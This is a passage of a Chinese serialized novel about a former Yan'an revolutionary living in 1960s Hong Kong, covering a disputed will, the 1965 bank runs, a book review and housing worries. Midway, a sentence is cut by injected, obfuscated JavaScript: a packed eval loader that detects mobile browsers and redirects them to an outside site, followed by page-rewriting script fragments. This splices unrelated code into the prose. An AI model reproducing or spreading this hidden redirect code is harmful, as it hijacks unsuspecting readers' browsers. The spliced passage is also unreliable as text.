于是最后一期便一篇短文结束,讲述自己在“□□”之中给斗争,因为无法忍受这样的痛苦,便要求离开延安,幸运获准,一路跋涉到了潼关,辗转回到桂林,之后人世转折,又来香港,在这边整理了当年的日记,刊出在报纸上,也算作给自己的延安往事一个交代。 然而终究也是写了,延安“□□”,单纯这件事,可以提供给人多少谈资呢?台湾那边会抓住这一点,攻击延安,一想到国民党报纸上对延安可能的描述,梅思不由得头皮发麻。 梅思手里拿着信,在房间里团团转,只觉得一颗心仿佛塞满了茅草,又给人一把火点着,滚滚烟气火星呛得人想要咳嗽。 她正心中烦乱,忽然间有人拍门:“梅小姐,梅小姐在家么?” 声音很是熟悉,梅思将信往桌面上一丢,快步过去开了门:“啊,英曼,是你,来看你父亲么?” 归英曼上气不接下气:“梅小姐,黄老爷走了!” “走了?走去哪里?” “啊呀呀,就是死了啊!午饭后他说要睡觉,那么便睡吧,我也回自己屋子去了,到四点多我烧晚饭,烧好了饭,看黄老爷还没起身,我等了一阵,耐不得,便去敲门,里面不应声,我开门进去,黄老爷直挺挺躺在那里,一探鼻子,已经没了气息,身上都硬了,不知道什么时候过去的,我就赶快来报给你,你要不要去看看?” 梅思吃了一惊,抬手掠了一下鬓发:“我们这就走。” 77.第七十七章 大家都盼独门独户 第七十七章 大家都盼独门独户 黄皓的丧事,根据他本人早已立下来的遗嘱,一切从简,梅思于是便也办得简略,送到殡仪馆殡葬了也就是了。 一切过程结束,骨灰送入墓园,九月六号礼拜天,施律师召集相关的人,开读后面的遗嘱:“名下所有财产由独子黄瑞安承继,保姆归英曼照料多年,本月薪金之外,另给予五十块港币遣散。” 归英曼当即便叫了起来:“真的假的?老爷当初明明不是这样说的,他说了,儿子跑到国外,我好好照料他,将来把家产都给我!” 施先生两眼望着她,一脸同情怜悯。 梅思也转头看向归英曼,黄老爷无疾而终,归英曼功不可没,黄老爷到这个年纪,身体衰败,牙齿不好,饮食不很方便,归英曼想了主意,把菠菜剁碎,用毛巾拧出汁,和面粉搅在一起,摊成面饼来吃,又或者番茄去了皮,捣成泥,和米粉做成米糕,这样黄老爷便可以吃到蔬菜,另外鱼肉豆腐之类软烂的食物,更是不在话下,黄老爷营养均衡,前两年拍了照片,面色红润。 得说归英曼如此尽心照料,当然是她为人热忱,不过黄老爷的这个许诺想来也有一定的功效,“重赏之下有勇妇”,本来便十分用心,这一下听了承诺,更是十二分的在意,靠着这个死心塌地的保姆,黄老爷最后几年过得不错,哪知最后竟是这样的结果。 黄老爷的财产,梅思并没有想着自己可以继承,她知道黄老爷不会给自己,毕竟自己没有接受当初的提议,不过之前也没有听说允诺给了归英曼,此时才晓得居然有这样的前情,见归英曼一脸的失魂落魄,梅思深深报以同情,她并不以为归英曼是贪婪,晚年的陪伴照料实在相当重要,况且黄老爷如今的身家,也已经说不上多么豪富,在香港算是中产,倘若留给归英曼,不算过分,可是却竟然没有,许诺的美好全成泡影,让归英曼怎能不大感失望? 施先生念完了遗嘱,扶了扶眼镜,对她们说道:“已经拍电报到新加坡,少爷很快就会过来了,归妈姐,你是要等到他来,还是怎样?” 归英曼虽然是长吁短叹,但她毕竟硬气,咬着牙道:“老爷已经是没了,我还在这里做什么?不要等到人来了,说我拿了他家东西。施先生,你在这里看着,我只打点自己的行李,现在就走。” 施先生点点头:“‘梁园虽好,不是久留之地’,妈姐这个主意拿得很是。” 别看没怎样读过书,但见识明白,又顽强,倒是比很多没骨头的文人强得多。 于是梅思便看着归英曼收拾了几件衣服,还有脸盆之类,打了个大大的包裹,梅思帮她扛着铺盖,辞别了施律师,两个人一齐出了黄寓的门,一路走下楼梯,来到公寓楼的外面,招呼了两辆人力车,便回了石硖尾。 到了徙置楼门前,梅思本想就上楼,归英曼说:“辛苦梅小姐帮忙,我饿了,吃了饭再上去。” 看看已经到了中午,梅思便道:“好啊,吃什么?” 归英曼往路边一指:“叉烧饭。” 两个人大包小包,便去吃叉烧饭,坐下来每人点了一碗,每碗九角钱,归英曼掏出两块钱:“我请你!” 梅思摇头:“我自己来。” 归英曼冲她一咧嘴:“今天刚发的意外之财,五十块呢!很能请得起一碗饭。” 看档口的姜婶笑道:“阿姐好运气,一天就是五十,照这样很快就发达!” 归英曼扭头对她讲:“姜婶,我下一餐还不知去哪里找。” 于是姜婶便晓得,是断了工遣散的钱,赶快低下头来给白饭上铺叉烧,不再多说话,想了想,多加一条青菜。 梅思本来不想要她请,但听她说得壮烈,倒不好再推辞,想着日后还她这个人情,饭送上来,拿起筷子便吃。 归英曼也埋头吃饭,一口气就吃了半碗,肚子里有了底,这才抬起头来,眼圈里含着泪:“梅小姐,你会不会笑我太痴心?只为了老头子一句话,便一条肠子地指望,到如今给他送了终,以为该有个结果,哪知竟是这样,全是空的,当初说过的话,一句都不算数,五十块钱打发了我,那钱都留给不知在哪里的儿子。” 梅思道:“这件事原是他对不住你。” 如果不愿意留钱给归英曼,便不该那样应承她,归英曼这些年来一心一意,如今落得镜花水月,怎能不伤心呢? 归英曼絮絮不止:“……我都已经派了用场,那房子便找我男人一起过来住,空的两间,让我阿爸和我弟弟也来住,他成了家,还要和人挤一间,实在麻烦,又是媳妇娘家的房,一个男人,多没面子。那钱呢,每个人做一件新衣裳,剩下的都存起来,吃利息,我再出去找份事情做,多好的日子,哪知全飞了……梅小姐,看来人还是读书的好,像你读过许多书,就不会吃这种亏,倘若当初真的信了这话,回家里来,指望这一份家产,最后给人诓骗,少爷回来,连个立足之地都没了,你便不这样笨……” 这时候薛大妹从路上走来:“梅姨,归姨,你们回来了?我把这个包带上去。” 说话间便扛起行李。 梅思道:“多谢你,幸女。” 归英曼很有些意外:“现在叫做幸女了?” 梅思说:“在外面做事,总要有个学名,前些天改了的,你很少回来,所以不晓得。” 黄皓过世,黄瑞安虽然多年在外躲避□□,到这时也该回来了,梅思本来担忧,瑞安回到香港,假如要见自己,该怎样办?实在不想看到他,如果问起黄老爷最后的情形,更是让人心烦,瑞安心思太多,倘若猜疑自己从中得了好处,很有些麻烦,而且三姨太少不得也要见面的,到那时少不得心海再掀波澜,这些年过得平静,梅思很不想再起波折,不愿让从前过往搅乱内心。 好在竟然没有,从九月初事情发生,一直到十一月,足足两个月时间,天气已经凉爽下来,黄家那边一直没有动静。 于是梅思夜晚终于能够睡得贴枕,从前也说不上辗转反侧,只是每当想到这件事,总怀有隐忧,现在则是以为可以安心了。 这一个晚间,她躺在床上,一时睡不着,又想到了当年的场景,倘若自己那时答应下来,如今会怎样?黄老爷会不会按照从前的承诺,把财产留给自己?又或者只留一部分?甚至还可能如同对归英曼这般,分文不留,几年之中自己大约只能得到一些生活费。 倘若那样,自己此时该是如何?假如在照料黄老爷的同时,还能够继续职业,面对这样的结局,还不至于惊慌失措,否则会怎么样? 从前自己顶鄙视那些为了爱情,放弃职业上的努力,只一心回归家庭,洗手作羹汤的人,然而这一回,自己也险些做了那样的人,只不过不是为了丈夫。 梅思知道,自己大略不会那样选择,过往种种难以忘却,她无法与黄老爷和解,不过当时确实面临这种诱惑,一屋两户自己实在是住够了,报馆的工作也很辛苦,职业女性自立自强这种话,说说是很给人提气,可是太累了,尤其做过几年之后,越来越累,很想休息一下,梅思有的时候不由得便记起从前,母亲的院落里,静静的午后,睡醒一觉,起来喝一杯茶,便到院子里,对着花丛看书,何等惬意安闲。 作为一个觉悟了的人,梅思不想再当有闲阶级的大小姐,只是这样无休无止的辛苦,让她感到难以负荷,江陵小学校的场景回到她的脑中,漫长的暑假,静谧的寄宿舍,灼热的天气也仿佛失却了锋芒,只要自自在在就好。 假如自己当时答应了黄老爷,脱离职业,如今会是怎样?离开社会几年,突然拾起笔来要再写文章,也不容易吧?股票或许会带来一点收入,维持生活却有些勉强,要钻研股票交易,也需要很多心思,而自己是不会情愿从此当妈姐的。 到十二月底,气温降下来了,梅思抱着热水壶,叹一口气,舒适的天气转瞬即逝,她仰起头看前方的行情板,好在股票价格还平稳,梅思一支支股票盯着,到当天散市的时候,又逐一记下收盘价,转身向外走,随意想着,马上便是元旦,就要到一九六五年了,那时便是四十二岁,转眼半生已成烟云。 一缕苍茫伤感在胸中盘旋片刻,很快便消散了,望着街头飞驰而过的巴士,梅思想到,该要好好筹备过年。 元旦过后,新的一年来到,今年的春节不太早也不很太晚,二月一号便是除夕,这一回新年,梅思感觉心情比往年轻松许多,想要精致一点过年,在笔记簿上罗列了要预备的东西:黄鳝、菜心、麻糖、福字……都是每逢过年,人家常备的东西,另外今年也可以买一件礼物送给自己,梅思想来想去,买一个厚厚的日记本。 看到她这一本厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745815|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的笔记簿,苏月香笑道:“真的是念过书的人,过年都是买这样的本子,写字还不嫌累么?” 梅思抿嘴笑道:“你看这本子,包的牛皮呢,夏天当枕头也凉快。” 牛皮包封面,摸在手里很是舒服,这些年写日记,多是用旧本子,人家店铺里的废账簿,或者旧讲义、作业簿,现在终于买了这样一个奢华的本子,一寸厚,十六开版。 苏凤香的感想:“好像砌城墙的砖头。从窗户丢出去,能砸死人哦!” 来娣乐得直拍手:“我也要这么个本子,拿它防身,洗澡的时候谁敢偷看,就是一砖头!” 苏凤香撇嘴道:“罢了吧,哪舍得用它当枕头?还要靠它吃饭哩!” 梅小姐啊,专靠日记赚钱,每天从香港会回来,伏在桌子上,就是一页一页地写稿子,全是靠着从前的日记,真不知她的那些日记,是从哪处翻出来的,床尾只一个“金山杠”,还不如自己这边,另外还有个五桶柜,她这么多日记,都是藏在了哪里?得说人还是要读书,就好像梅小姐,靠写日记就能赚钱。 梅思不住地笑,人生如此转折,自己也是没想到的,不是没见过人家把日记印成书,然而那都是有名望的人,或许那样的学问大家,写日记本来便不全是为了自己看的,想到终究有一天要出版,下笔之时便有一种庄严,自己则是之前从未预料到,有展示给人看的一天。 然而终究是用到了,《延安日记》之后,窦啸川又向自己约稿:“还有些什么资料?” 自己便如实告知:“到了潼关之后,便正式开始记日记。” 窦啸川眼前一亮:“写抗战吧,已经过了二十年,许多年轻的一代都已经不晓得详情,老一代也想要回顾,或许是个好题目。” 梅思便答应下来,只是这一次不是再用日记的形式,窦啸川的意见:“总给人家看日记,虽然是最原初的记录,与之前终究有些重复,而且日记毕竟零散些,有些读者没有耐心看的,还是整理一下,写成专门的文章比较好。” 梅思也觉得有道理,这一回便麻烦一些,翻出从前的日记,先翻译成普通的文字,再从里面选取素材,撰写稿件,往事虽然都是自己亲历,时隔多年,毕竟有许多记不清了,好在有当年的记录,几行文字便让记忆又活了过来,所以苏凤香说自己是靠日记吃饭,倒也确实不错。 谈了几句日记的事,苏凤香忽地露出十分警觉的神色:“又在建新的楼,听说有十六层,这倒也罢了,那楼里每一家都有自己的厕所,还有个小厨房,这可真是人间天堂。” 梅思点头:“好像说确实是这样,也不知要到什么样的资格,才能够入住里面。” 苏凤香连声感叹:“是啊是啊,倘若能够搬到那里,宁可每个月多出几块钱。” 这边每个月是十四元钱,因为她们是两家挤一间,各出七元,苏凤香肚内盘算,其实还是自家便宜些,毕竟自己这边是四个人,梅思只有一个,占的地方还小,房租也要出一半,只是这个话却不好对梅思说了。 梅思便笑,不是自己小资产阶级习气,这样的住处,不单自己觉得不方便,苏凤香也是不喜欢的,苏凤香可不是像自己这样,大小姐脾气,爱幽静,有个清静的地方更好读书画画,只是即使是苏凤香,也受不了这样的狭小,螺蛳壳大的地方,挤五个人,转身都难,况且又有个“不是外人的外人”在对面,十几年怎么过呢? 政府又在建新的徙置楼,梅思也已经听说,悄悄打听要符合怎样的条件,可以搬进去住,倘若可以,就想搬家了,如同苏凤香说的,哪怕月租多出一点钱,也要一个自己的地方,虽然两家相处很好,这些年已经如同姐妹,可即使是亲姐妹,梅思也需要有一个自己的房间。 新楼的话题,当晚两个人谈了好一阵,到第二日,一月二十四号礼拜天,梅思出门买了报纸,回来一边吃早饭,一边看报,二版一个标题让她停了搅油茶面的勺子,腾地站起身来,两步跨到门前:“凤香,你把钱存在明德银号么?” 凤香正在走廊煮粥,头也不抬:“是啊,怎么了?” 梅思把报纸递到她面前:“你看这个,‘明德银号拒付七百万元支票’,就是昨天的事。” 苏凤香手中的汤勺差一点跌进锅里:“啊哟,造孽哦!夭寿哦!我现在就去提钱!” 78.第七十八章 股市动荡 第七十八章 股市动荡 经过四年前那一回银行危机,如今香港市民对于银行的动向已经很敏感了,苏凤香当日便要提款,丢下汤勺,立时就要穿了衣服出门,连头发都顾不得梳了。 梅思忙拦住她:“今天礼拜天。” 银行休息啊,这时候到哪里去提钱? 苏凤香连连跌脚:“这可怎么办!” 多延迟一天,意念之中自己的钱便要飞了! 梅思劝慰道:“不在这一天时间,明天再去也不迟的,她们可以同行拆借,廖创兴那一年不也是没事?你进屋喝杯水,我来煮粥。” 招娣已经听到动静:“梅姨,我来烧早饭。” 这一整天,苏凤香坐立不安,茶饭不思,梅思反复安慰了许多次,要她不必担忧。 苏凤香在屋子里团团转,隐约一股青烟从顶梁骨冒出来:“明天一早,我就去银行,说不得只好请假了,又要扣工钱。唉,这些银行,怎么总是这个出事那个出事?我们辛辛苦苦的血汗钱,交她们保管,就成这个样子。” 梅思虽然不说,心中也在焦灼,不知这一回廖创兴会怎样,自己的钱依然是放在那里,没有换银行。 到第二天,一月二十五号,苏凤香果然一大早就跑出去,赶去银行,梅思则是稳了稳心神,先去香港会,现在报纸上毕竟还没有廖创兴的消息,只是明德出事,此时自己纵然去了廖创兴,想来也问不出什么,还不如先去香港会,见见老相识,或许会有一些消息。 到那里看了股价,梅思便找尹宗翰,尹宗翰很是沉稳:“明德不过是个小银行,出事原不意外,放太多款子给地产了。” 又说:“倘若是存款,还是放大银行安心,比如恒生。廖创兴也是好的,这几年缓过来了。” 虽然听他这样说,梅思仍是不安,一方面担心存款,另一面担忧股市:“会不会影响股价?” 尹宗翰笑:“哪里那样容易?明德这样的小银行,一点风波怎么就会影响这样大?” 梅思摇头:“银行出事,不止这一次。” 大家便都如同惊弓之鸟,看苏凤香就知道,简直草木皆兵,一点点风吹草动,就很惊恐。 梅思又道:“华商的银行,仿佛都放许多款给地产?” 尹宗翰微微皱眉:“虽然如此,但香港的房产这几年有在恢复。” 梅思眨一眨眼:“那么便果真如此了?都在投资地产。” 尹宗翰一时无言,梅思往日多么明智,今天忽然如此执拗,怎样都说不通的。 “那么你要卖出么?” 梅思道:“再看一看。” 礼拜二,一月二十六号,梅思晚上回来对苏凤香道:“幸亏你昨日去提款,今天明德挤提了。” 二十三号那一张支票不能兑现之外,后面又是现金不足支付大客户,于是到二十六号,公众恐慌,纷纷涌去提款,现在香港会里面的经纪都在说:“明德这一次只怕撑不住了,比廖创兴当初危险得多。” 明德是小银行,要拆借很难,渣打汇丰这样的发钞行,等闲不会理她。 果然,到了一月三十号,明德宣布破产,申请破产保护。 苏凤香在家中手拍着胸:“阿弥陀佛,谢天谢地。” 自己的钱总算是保住了,分毫未损。 转头看了一眼日历:“那银行的老板,这个年可怎么过?” 还有一天就是除夕,虽然自己不当老板,但苏凤香当初在上海,也经历过经济萧条,尤其是四九年,物价涨到天上,许多商户倒闭,苏凤香看到街头关门的店铺,设想老板的苦境,也替人愁,当时是听说有店主上吊的。 梅思一笑:“那些提不出钱来的人,也不好过年。” 苏凤香的念头瞬间转回自身,万分庆幸:“是哦是哦,倘若我失掉了这一笔钱,岂止是过年,一家人的日子都不要过了。” 过年就只好吃咸菜吧,自己只怕是连咸菜都吃不下,都是自己的主张,把全家的钱存进了明德,倘若都没了,让自己怎么面对孩子们? 廖创兴虽然一时还平静,然而梅思这一个年却也过得并不安稳,除夕本来想要烧黄鳝,这时也无心安排,只是咸蛋炒青菜便罢了,之后直烦乱到初二。 到这时便轮到苏凤香来劝她:“要看看书么?” 梅思摇头:“读不进。” “吃点心?” “吃不下。” “或者出去逛逛?” “懒得逛。” 苏凤香宽慰道:“不是说只是明德一家?别家没说出事,你也别太担心了,哪里有那么多倒霉事。” 股票真不是好赚的,看看梅小姐,为了放进去的那一笔款子,急成什么样子?自己是把银行里的钱取出来,便再无忧虑,她那事情可是还没完呢。 梅思很是警惕地观望,到了二月六号,信托银行挤提,二月八号信托银行全线停业,当天下午,恒生、广安、道亨、永隆全受波及,梅思二月九号便卖出二百块的股票,之后陆陆续续,在三月底之前多数卖掉,只留两支股,三百元。 见她交易回来,尹宗翰便问:“怎么样?” 梅思吸一口气:“总算保住本金。” 终于安全了,到现在自己的心还怦怦乱跳。 尹宗翰摇头:“没想到这一回竟然闹得这样大。” 连澳门都受了牵连。 梅思问道:“你看恒生会怎样?” 别的银行暂时平息了,然而针对恒生,传闻源源不断,恒生是华资银行中的龙头,与外资银行相比,实力也不逊色,倘若她家有事,震动实在强烈。 尹宗翰皱眉:“不晓得。” 现在自己可不敢言之凿凿了,谁想到最初不过是小小的明德挤提,后面竟如同倒了骨牌,接二连三出事,信托银行也倒闭了,现在的恒生,便如同给放在火上烤,全都盯着她家。 梅思自然也猜不出恒生会怎样,不过她如今毕竟全身而退,稍稍可以松一口气,当晚回到住处,便抓起床头一本新书来看,是传芳姐姐从台湾寄来,《烟雨濛濛》,去年的新书,写书的人叫做琼瑶。 传芳姐姐信中说:“新近红起来的一个人,第一本书是《窗外》,我读过了,宝凝很是痴迷这个故事,我则看得寻常。倒是这一本小说,很觉得有味道。” 过年后收到的,只是那时自己一心关注股票,顾不得看这本书,连姐姐的信也都还没有回覆。 到这时终于有心情来读,梅思花了两天时间,把小说翻过了一遍,抛下书望向窗外,毕竟是故事,陆振华病死医院,众叛亲离,也算是天理循环,报应不爽,而黄老爷有归英曼照料,晚年堪称安泰,毫无痛苦,逝于家中,早前还从容处置家产,都留给了瑞安。 倘若要一一对应,自己或者可以类比依萍,都很倔强,对“父亲”只有仇恨,没有亲情,只是两个人的反抗之路不同,自己当年是以去延安作为背叛,依萍在台湾,没有那一个遥远的火炬可以照明,便只是用女子最古老的方法来报复,她是把感情当做了武器,倘若说自己奔赴延安之后,感到一种虚幻,依萍在仿佛复仇成功之后,终究也是空虚。 现实与小说的种种对比,相似与不同,梅思心头百味杂陈,只有一点她是怀疑的,陆振华真的会为如萍的死而痛惜么?倘若果真如此,他倒是还有一些真情,只是这件事在黄老爷身上,她却是不能设想,黄老爷对自己恨之入骨,假如死的是自己,他只怕拍手称快,而如果许桂珠有一个仿佛如萍一样的女儿呢?平庸善良,这样一个顺从的女儿,或者能让黄老爷感到一些慰藉,她若是自杀身亡,黄老爷会怎样大受刺激么?会为此而病倒么? 梅思摇摇头,只要儿子不死便好,黄老爷最为声气相投的,还是瑞安,父子两个前后承继,一脉相传,倘若黄老爷真的受打击而进医院,那最可能的是为了许桂珠另有所爱,而且谋夺家产,又或者是瑞安没了,失了继承。 至于说陆振华看到如萍自杀的那把枪,想到自己半生作军阀,杀人累累,心有忏悔,梅思便以为更加浪漫了,女儿一条命唤回他的良知,黄老爷到香港这么多年,都在痛恨共产党,诅咒佃户分田地。 心中这许多念头翻滚,梅思呼吸有些急促,她坐起身来,拖过一沓稿纸到面前,提起笔便写出题目:《读琼瑶<烟雨濛濛>》。 将近六点三十分,这一篇文堪堪写完,苏凤香推门进来:“啊哟,梅小姐,侬又在写小说?” 梅思转头一笑:“是读书的杂感。” 苏凤香马上便问:“能换钱么?” 梅思笑道:“不晓得,我投到报馆试一试吧。” 苏凤香一撇嘴:“阿拉就想不出,这种文章有什么好读,梅小姐,阿拉劝侬还是多写小说,那个才好赚钱。” 不然侬靠什么吃饭?股票多数都卖掉了,听侬说这一阵股票不是很好赚,跌得惨哦,放眼一望,数字总比前一天的挂牌低,就这样还每天去看,侬也是痴心得很了,还指望有一天“浪子回头”,那可真是“金不换”。 现在就靠一支笔杆子吃饭,连来娣都看了出来,悄悄同自己讲:“姆妈,梅姨这一阵,天天写厚厚一沓纸。” 当时自己回说:“你梅姨可是要 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谈了几句梅思的生计,苏凤香转身去倒水,触景生情:“如今无论如何,总算不担忧断水。” 今年二月末,从大陆那边引来了水,今后虽未必绝对不会缺水,但危险应该小得多了。 梅思也有同感:“这一把悬在头上的剑啊,到底移开了。” 上一次水荒,足足一年时间,让人焦灼得不行了,香港缺水不只是那一回,只是那次格外恐怖。 苏凤香又道:“那时候幸好有你,能弄来水,我们这家里总有喝的水,像是别人,更惨呢。” 梅思一笑:“你们也担回来许多水。” 只可惜自己能做的只有这么多,有一说一,那一次的水荒,自己并不是很苦,可以匆匆进入梅林擦身,喝的水更是不愁,自己所忧虑的,是难以拿出更多的水,就连这个屋子里,都不好存太多的水,否则哪里会那样紧张? 倘若是依着梅思的性子,她是真想推一辆茶水车到街上,路过的人免费喝水,一瞬间梅思便仿佛回到延安,一切都该共同分享,自己独享水源,深深感到惭愧,好像成了另一种特权者。 可是许多年来,梅思已经很能克制情绪,她知道那样做是不现实的,别人难免要问:“水从哪里来?” 这让自己怎样回答呢? 如果可以,自己是愿意放开水源,让那一条小溪源源不断给街坊供水,虽是涓涓流水,毕竟细水长流,更不要说远处还有一个湖,可梅思晓得,这样势必给人知晓那一座梅林,梅林对于自己,不仅仅是菜圃鱼塘那样简单,“危急之时的避难所”,确实可以形容它的重要,不过也不完全,梅思晓得,自己是把梅林当做一种精神上的归属,在那里,可以面对自我。 所以即使内心纠结痛苦,梅思依然选择如此,这让她感到内疚。 第二天,梅思把那一篇书评连同其它几篇稿子,一起投递到《商报》,几天之后,窦啸川告知她:“那几篇都可以登出,只有《烟雨濛濛》不行。” 梅思疑惑:“是哪里写得不好?” 窦啸川摇头:“文章是很好的,只是不合本报的风格。” 梅思写自己读书的感受,通篇都很好,窦啸川是文艺版的编辑,对这方面动向颇为关注,也晓得台湾有一个琼瑶,新近崭露头角,若以民国旧上海的文学派别来论,属于“鸳鸯蝴蝶派”,梅思肯读她的小说,是自己之前没有想到的,不过当窦啸川读过了这一篇书评,他感到自己可以找这一本书来瞧一瞧,竟不是寻常的风花雪月,爱恨情仇,琼瑶着力描写了军阀,这就是一篇反对封建主义、反对强权的檄文,梅思剖析得也相当好,用一种冷峻的态度,对小说中带有幻想色彩的情节提出质疑,不愧为一个曾经的革命者。 然而终究是“曾经革命”,梅思从依萍激烈的复仇,联想到她自己的延安之路,以为都带有虚幻的意味,最后难免失望,这就是失去信仰,这一段文字,主编不肯照发,让窦啸川来问:“假如可以删除,修改一下,还是可以发的。” 梅思想了一想,摇头道:“还是算了。” 窦啸川很有些过意不去:“真是抱歉。” 梅思一笑:“没什么的。” 这世上或许本就没有完全的自由,换一家去投吧。 79.第七十九章 一栋楼里两个警察 第七十九章 一栋楼里两个警察 四月下旬,梅思的那一篇书评,在《明报》登了出来,引发一场不大不小的风波,其时琼瑶虽然在台湾有了名气,于香港却还少有人知,便有人想要看她的小说。 瞿明这一天特意来她家,问:“梅小姐,那本《烟雨濛濛》,可不可以借我看一看?” 梅思笑道:“就在这里,拿去吧。” 瞿明便带回家里去读,那一本书在她家流转,这个读过那个读,梅思这一天去要书:“鹤女说要看看。” 瞿明各处翻捡一通,满脸抱歉:“啊哟,给人家借了去,不知哪里去了,我再买一本还你。” 梅思一笑:“倒也不必,我回给她说丢了便罢,我反正已经看过了,不须再看。” 想来是感觉不好意思,瞿明连声请梅思坐下来喝茶,拿出老婆饼款待,大家闲话谈心,鄂维义便讲起政治:“梅小姐,你那一篇书评,是很好的,延安与依萍一样,与其说革命,不如说是报复,他们提妇女解放,只是把妇运当做是工具。” 发在《明报》上的那一篇文章,《星岛日报》也有转载,就给鄂维义读到,今天终于得闲,有机会说这个。 瞿明在一旁连连赞成:“国民政府难道不重视妇女么?我们妇女部的同志,都是有志于此的啊!那些人就是煽动妇女,利用她们的力量来反对政府。” 鄂维义又大声称赞梅思的觉悟,及早回头,不给人利用。 梅思默默坐在那里,片刻之后笑道:“盖了新楼,不知要怎样才能换到那边去住?” 说到这切身相关的新闻,瞿明也热心议论:“是啊,这一阵正在打听,我们倒是罢了,在这边住了这许多年,邻居们都熟悉,住着还好,只是林鹃和玉树两个,小夫妻总不好一直挤在这里,不方便,况且还有孩子,林鹃又怀上了……” 当晚,梅思躺在床上,久久不能入睡。 鄂维义说延安是利用妇女,自己不想辩驳什么,但即使是工具,也未必全无价值,鄂维义和瞿明都没有看到,当暑假里,女大的同学们去乡村开展妇女工作,那里的女人是多么激动,一群群涌来,盼望着能够救她们。 陕北的妇女实在太苦了,缠足、花柳病、买卖婚姻、丈夫的殴打,假如说黄老爷的家中,还有表面上的尊重,在陕北乡村,连这种虚伪的矫饰都没有,赤裸裸地呈现出父权夫权本来的样子,梅思当时实在震惊,假如能够解救全中国的妇女,自己愿意成为工具吗? 梅思此时已经无法回答这个问题,而当年她是不认为自己是工具的,自己所做的一切,都是追求光明的自我选择,更何况在那个时候,这确实是自己唯一的选择。 七月十八号,梅思坐在房间里,面前摊开一个本子,同贺健莲正说着:“这一阵都没有怎样涨,不过终究还是有收入的,健莲姐,这三个月你可得一毛二分的利息。” 贺健莲叹一口气:“就在里面放着吧。她梅姨,这股票到底要跌到什么时候?咱哪天才能把钱再投进去哩?” 梅思笑道:“先不急,再看看。” 四月里,恒生一半股份出售给了汇丰,这一家香港最大的华资银行,就此成为英国银行的一家公司,梅思与窦啸川和邹千里议论起来,都很是惋惜,民族产业啊,一步步沦陷了。 贺健莲对此倒并不是很在意,只顺着话头感叹两句便完了,她最在意的是,股市什么时候能振作,现如今在那里面,几乎就是没有钱,从前倘若手头紧,还能从里面提个零用钱,现在是只能动老本了,这让她感觉恐慌。 这时候门一开,一个十八九岁、穿着制服的健壮男孩从外面撞进来,梅思转头一看,笑道:“明强,啊呀现在应该叫廖Sir了,毕业典礼怎样?” 那个男孩子正是大柱,已经有了个学名,叫“廖明强”,妹妹也改了名字,叫“□□”。 听到梅思这样调侃,明强红了脸,站在那里讷讷地叫了声:“梅姨。” 贺健莲笑道:“咳!什么廖Sir,毛还没长齐的小子,刚从学堂里出来的,他能干什么?” 明强更加支支吾吾,差一点便要转身跑出去了。 这时忽然门又推开,阚德龙摇摇摆摆晃了进来,嘴里衔着一颗烟,抬手便拍明强的肩膀:“啊哟,廖Sir,毕业了哦,马上就要出更了哦,大家邻居一场,今后全靠你照应。” 明强转过脸去,一脸厌烦,装作倒水,躲开了他的手。 阚德龙哈哈地笑:“明强啊,咱们这栋楼里,总算出了体面人物,你当差佬,有出息了,好好努力,当督察,你也晓得你德龙叔,这些年为了生活,有时候难免给人误会,将来若是进差馆,便是你的天下了。” 梅思看了看,贺健莲性格耿直,对着阚德龙,向来冷淡,能不说话就不说话,明强则是与父亲的脾气有点像,不太爱说话,更何况年轻不会转圜,倘若真的得罪阚德龙,反而不好,少不得自己出头,微微一笑:“倘若早一点退休,离开是非之地,想来也能安闲。” 阚德龙眼望着她,咯咯笑起来:“梅小姐,你真是慈悲心肠。” 好像个活观音,得空便给这些孩子补习功课,勉励她们好好读书,靠知识学问争取好的前途,不知道是不是这个缘故,石硖尾烂仔虽多,本楼却略少一些,眼前这个大柱,如今叫“明强”了,很光辉的一个名字,便当了差佬,香港多的是山东差,到那里得同乡照应,没准将来真能管事。 此时还劝自己金盆洗手,她以为是“放下屠刀立地成佛”了,然而哪有那样容易?进了14K,比她当年去延安还难脱身,况且在14K这么多年,如今自己除了靠暴力威逼赚钱,不知道怎样做其她的行当,离开这里,要自己怎样生活呢? 阚德龙转身便走出去,开了门登时又乐了:“啊哟幸女,来了多久?怎么不进去?” 薛幸在门前躲闪不及,索性便走进来:“明强,恭喜你毕业。” 到这一年十二月,梅思这一天回来石硖尾,抱着膝盖坐在床上,沉吟好一阵。 究竟应不应该重入股市?今天与尹宗翰议论股票行情,费经理通过老同学得来的消息,恒生指数十一月三十号七十七点九五,早前一月二十九号,是一百零三点五三,将近一年时间,香港股市缩水四分之一,而且这一阵还在出事,就在上个月末,远东银行又遭挤提,眼看这一场银行业的危机还没有结束,虽然股市已经跌成这样,只怕还会再跌,所以大家心里便也都拿不准。 尹宗翰当时苦笑着说:“梅小姐,你是不须担忧的,反正你还能写文章,不像我们,全靠股票吃饭,这一年来跌成这样,同仁都日子难过。” 难怪古人“狡兔三窟”,梅小姐就是个例子,虽然在香港会浮沉已久,却不全指望股票生活,她另外还有职业,给报纸写稿,这几年“梅影”的名字在报上不时见到,提起她,人家往往便能记起:“哦,是去过延安的那一个。” 所以股市虽然惨淡,但她还不愁吃饭。 梅思笑容也有些勉强:“也没有那样安心。” 眼看坐吃山空,这几年自己卖文赚钱,多是靠过去的经历,每日在日记里爬梳搜集,找出话题来写,从延安日记起头,到如今解放战争已经写完,正在写的是共和国建立之后,在大陆的那两年,然而读者的兴趣显然没有那样浓烈,毕竟在香港,有许多人是从大陆逃来,这正在发生的故事,欠缺了抗战时代那种因距离而产生的好奇感。 就连窦啸川都和她说:“梅小姐,你要想想法子,换一些题目来写了。” 总是这些,读者会腻的。 梅思当时望着他:我也想的啊,然而要我写什么呢?可惜《烟雨濛濛》已经给琼瑶写了,不然把我的身世写出来,便是一部现成的小说。 因此梅思也愁,难以为继,只靠给小报写小说,稿酬实在太过菲薄。 然而现在却也只能等待,看一看过年之后,股票会有怎样的变化。 